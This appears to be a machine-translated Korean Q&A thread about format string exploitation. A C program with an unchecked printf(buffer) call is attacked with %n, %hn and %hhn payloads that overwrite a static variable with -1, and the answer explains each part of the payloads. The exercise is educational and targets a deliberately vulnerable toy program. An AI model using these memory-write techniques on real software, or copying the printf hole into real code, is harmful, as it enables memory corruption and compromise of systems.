2017-10-14 16 views
0

Format String exploit을 사용하여 변수의 값을 설정하려고합니다. 수정 자 % n을 사용하여 문자열의 길이 값으로 변수를 변경할 수있었습니다.문자열 형식 악용 : 음수 값 = "-1"설정 % n 사용

코드

#include <stdio.h> 
#include <stdlib.h> 
int main(int argc, char *argv[]){ 
    char buffer[100]; 
    static int a=77; 
    strcpy(buffer, argv[1]); 
    printf(buffer); 
    printf("address a = 0x%08x, [0x%08x]\n", &a, a); 
    printf("a = %d\n", a); 
return 0; 
} 

I "는 = -1", 예를 들어, 음의 값으로 설정된 변수를 변경할 수있는 방법
./v4_2.out `printf "\xc4\x98\x04\x08"`%08x%08x%08x%08x%08x%08x%n 

address a = 0x080498c4, [0x00000034] 
a = 52 

후?

P. 나는 이것이 % u로 할 수 있다는 것을 알았다.

+0

SO에 오신 것을 환영합니다. 당신은 무엇을 성취하기를 아주 불분명합니다. 제목이 잘못된 형식 지정자 (% u 대 -1)를 사용하고 있습니다. 귀하의 질문은 가치를 수정하기위한 몇 가지 방법을 언급합니다. 형식 지정자는 인쇄 된 출력을 변경할 수 있지만 모든 변수의 값을 변경하지는 않습니다. – Gerhardh

답변

0

linked article의 첫 번째 섹션 끝 부분에서 설명한 트릭을 사용하면됩니다. 이것은 (2 회 0xFFFF) 상하부 단어로 값 -1 (0xFFFFFFFFF)을 분할 및 주소 &a(void*)(&a)+2 이러한 별도로 작성하는 단계

./v4_2.out `printf "\xc4\x98\x04\x08\xc6\x98\x04\x08"`%65527x%7\$hn%8\$hn" 

설명 : 숫자 7 출처

\xc4\x98\x04\x08 ... 0x080498c4, the address of a (lower two bytes) 
\xc6\x98\x04\x08 ... 0x080498c6, the address of a (upper two bytes) 
%65527x ... write 65527 extra bytes of garbage (eight have been written by now, so that makes 65535) 
%7\$hn ... write the number of characters so far (65535 = 0xFFFF) to lower word of a 
%8\$hn ... write the number of characters so far (65535 = 0xFFFF, it didn't change) to upper word of a 

을 이전 명령 :

printf "\xc4\x98\x04\x08"`%08x%08x%08x%08x%08x%08x%n 
          1^ 2^ 3^ 4^ 5^ 6^7^ 

그리고 나는 하나 이상의 주소를 저장하여 t 위치 8.

이것은 여전히 ​​많은 양의 출력을 생성하므로 한 단계 더 나아가서 0xFFFFFFFF 바이트 단위로 쓸 수 있습니다. 그 결과는 다음과 같습니다 0xFFFFFFFF 이외의

\xc4\x98\x04\x08 ... 0x080498c4, the first (low) byte of a 
\xc5\x98\x04\x08 ... 0x080498c5, the second byte of a 
\xc6\x98\x04\x08 ... 0x080498c6, the third byte of a 
\xc7\x98\x04\x08 ... 0x080498c7, the fourth (high) byte of a 
%239x ... write 239 extra bytes of garbage (16 have been written by now, so that makes 255) 
%7\$hhn ... write the number of characters so far, as a byte (255 = 0xFF) to the first address above 
%8\$hhn ... the same for the second 
%9\$hhn ... the same for the third 
%10\$hhn ... the same for the last 

숫자는 각 %hhn 사이에 여분의 출력이 필요합니다. 각각의 차이점을 보충하기 위해 출력 할 가비지 바이트 수를 계산해야합니다. 이전 값 아래로 가야 할 경우 바이트 만 쓰여 지므로 산술 연산이 256이됩니다.